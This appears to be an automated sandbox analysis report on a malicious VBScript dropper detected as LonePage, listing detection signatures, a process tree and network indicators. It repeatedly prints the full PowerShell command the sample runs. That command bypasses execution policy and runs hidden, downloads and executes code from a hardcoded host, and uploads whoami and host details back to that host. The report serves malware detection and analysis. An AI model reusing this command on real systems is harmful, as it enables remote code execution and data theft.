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Windows Analysis Report
sAKF0egIZ5.vbs

Overview

General Information

Sample name:	sAKF0egIZ5.vbs renamed because original name is a hash value
Original sample name:	8e4b8955547646a9cf36ca410a04d694448b3b09874c0b886b0a726b3afb5f3e.vbs
Analysis ID:	1542808
MD5:	f8e87c59004eb9f061be8865f37c8b02
SHA1:	cd46f893ef8e9b0fbf7865511f6a440390255623
SHA256:	8e4b8955547646a9cf36ca410a04d694448b3b09874c0b886b0a726b3afb5f3e
Tags:	blogview-shopvbsuser-JAMESWT_MHT
Infos:

Detection

LonePage

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Sigma detected: Powershell download payload from hardcoded c2 list

VBScript performs obfuscated calls to suspicious functions

Yara detected LonePage

AI detected suspicious sample

Bypasses PowerShell execution policy

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains functionality to detect virtual machines (SLDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Tries to resolve domain names, but no domain seems valid (expired dropper behavior)

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 572 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 6224 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);} MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6764 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sAKF0egIZ5.vbs	JoeSecurity_LonePage	Yara detected LonePage	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2122905878.000002959CEB5000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000000.00000002.2122771795.000002959CC19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000000.00000003.2122383427.000002959CC94000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000000.00000002.2122876917.000002959CC95000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000002.00000002.2815705990.0000025CA369D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000000.00000002.2122771795.000002959CC88000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000002.00000002.2815282835.0000025CA0250000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000002.00000002.2815282835.0000025CA02D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000000.00000003.2122072933.000002959CC88000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000000.00000002.2122771795.000002959CC46000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
00000002.00000002.2815705990.0000025CA1C71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Process Memory Space: wscript.exe PID: 572	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Process Memory Space: powershell.exe PID: 6224	JoeSecurity_LonePage	Yara detected LonePage	Joe Security
Click to see the 8 entries

Sigma Signatures

Spreading

Sigma detected: Powershell download payload from hardcoded c2 list

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes(

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", ProcessId: 572, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes(

Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes(

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes(

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", ProcessId: 572, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes(

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('https://blogview.shop/api/values/refresh199',$drpy);}, CommandLine|base64offset|contains: ^rbzh'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\sAKF0egIZ5.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 572, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$rc = -join ((48..57) | get-random -count( get-random -min 5 -max 15) | foreach-object { [char]$_}) + '.txt';$flm=$iik.downloaddata('https://blogview.shop/api/values/38303529143438199171/refresh199/'+$rc);if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes(

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: sAKF0egIZ5.vbs

ReversingLabs: Detection: 13%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 98.8% probability

Source:	Binary string: e.pdb source: powershell.exe, 00000002.00000002.2833532776.0000025CBA150000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000002.00000002.2835267419.0000025CBA4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb09% source: powershell.exe, 00000002.00000002.2833532776.0000025CBA1A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ion.pdbpz source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb xm source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdb7 source: powershell.exe, 00000002.00000002.2833532776.0000025CBA1A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: em.Core.pdbb source: powershell.exe, 00000002.00000002.2833532776.0000025CBA1A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000002.00000002.2833532776.0000025CBA1A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 00000002.00000002.2835267419.0000025CBA4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000002.00000002.2835267419.0000025CBA4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl])O source: powershell.exe, 00000002.00000002.2833532776.0000025CBA205000.00000004.00000020.00020000.00000000.sdmp

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: unknown

DNS traffic detected: query: blogview.shop replaycode: Server failure (2)

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: blogview.shop

Source: powershell.exe, 00000002.00000002.2829876539.0000025CB1CDC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2829876539.0000025CB1E1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2815705990.0000025CA36A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
